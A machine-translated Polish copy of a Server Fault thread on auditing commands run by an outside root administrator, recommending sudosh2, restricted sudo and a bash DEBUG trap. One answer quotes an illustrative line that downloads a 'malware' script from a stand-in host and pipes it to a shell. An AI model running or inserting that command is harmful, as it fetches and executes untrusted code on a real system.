Zaloguj każde polecenie wykonane z katalogu głównego

16

Chcę przyznać dostęp do mojego serwera root zewnętrznemu administratorowi systemu, ale chcę dokładnie sprawdzić, co robi z moim serwerem, np. Kopiować dane, których nie chcę, aby działały itd. Chciałbym również śledzić, do jakiego pliku można uzyskać dostęp, nawet w trybie tylko do odczytu i bez edycji.

Jak mogę to zrobić?

Cediwad
źródło
1
Zobacz to powiązane pytanie: serverfault.com/questions/181131/… ?
Stefan Lasiewski

Odpowiedzi:

21

Ufaj ale sprawdzaj!

Sprawdź sudosh2 . sudosh2 jest dostarczany przez porty FreeBSD. Dostępne są pakiety dla RedHat i Ubuntu. Oto opis z ich strony internetowej:

sudosh to filtr powłoki inspekcji i może być używany jako powłoka logowania. Sudosh rejestruje wszystkie naciśnięcia klawiszy i dane wyjściowe i może odtwarzać sesję tak jak magnetowid.

Sudosh pozwoli ci odtworzyć sesję użytkownika, co pozwoli ci zobaczyć wszystkie dane wejściowe i wyjściowe tak, jak użytkownik to widział. Widzisz wszystko, naciśnięcia klawiszy, literówki, spacje, to, co edytowali vi, wyjście wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shitp.

Możliwe jest wysyłanie dzienników sudosh do syslog, dzięki czemu można je przechowywać na centralnym serwerze syslog z dala od systemu.

Zauważ, że sudosh2 jest zamiennikiem sudosh, który został porzucony przez jego autora

Czy pracujesz w instytucji akademickiej, w której użytkownicy nalegają na uprawnienia administratora? A może pracujesz w korporacji i chcesz zezwolić użytkownikom na korzystanie z uprawnień administratora na ich własnych maszynach wirtualnych? To może być rozwiązanie dla Ciebie.

Stefan Lasiewski
źródło
1
Doskonale - wcześniej nie słyszałem o sudosh.
EEAA
2
O czym jest ten magnetowid?
Tom Marthenal
2
To jest jak 8 ścieżek, ale możesz nagrywać własne programy telewizyjne!
Stefan Lasiewski
22

Nie udzielaj mu uprawnień roota. Zamiast tego daj mu nieuprzywilejowane konto użytkownika i poproś, aby wykonał całą swoją pracę sudo, co spowoduje zarejestrowanie wszystkich jego poleceń.

Należy pamiętać, że jeśli ta osoba ma złych zamiarów i dać mu pełne przywileje sudo, że będzie znaleźć sposób przeprowadzenia tych złych zamiarów bez polecenia te są rejestrowane. W takim przypadku należy przyznać mu dostęp tylko do określonych poleceń, których potrzebuje do wykonania swojej pracy.

EEAA
źródło
chcę uczynić to tak trudnym, jak to możliwe, bez powodowania bólu w moim życiu. Dziękuję za odpowiedź.
cedivad
Możesz po prostu uruchomić sudo su -i mieć root root, który nie będzie zalogowany (poza tym, że go uruchomiłeś). To jest to, co zwykle piszę, gdy chcę wykonać więcej niż jedno polecenie jako root za jednym razem lub jeśli chcę uzupełnić tabulatory w katalogach, których normalni użytkownicy nie mogą odczytać.
rjmunro,
@rjmunro - Właśnie dlatego wydałem zastrzeżenie, aby dać mu tylko określony dostęp, którego potrzebuje. W sudo su -razie potrzeby możesz wyraźnie zabronić .
EEAA
1

Nie jestem zaznajomiony z sudosh2, ale umieszczam w moim .bashrcrejestrze następujące polecenia , które wpisuję bashw pliku ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Powyżej ustawia pułapkę DEBUG, która jest wykonywana tuż przed wykonaniem zwykłego polecenia. callerWbudowaną służy do badania, czy polecenie jest wpisane na interaktywnej powłoki lub prowadzonym przez coś podobnego .bashrc. Wartość ${BASH_COMMAND}zawiera aktualnie wykonywane polecenie.

Richard Hansen
źródło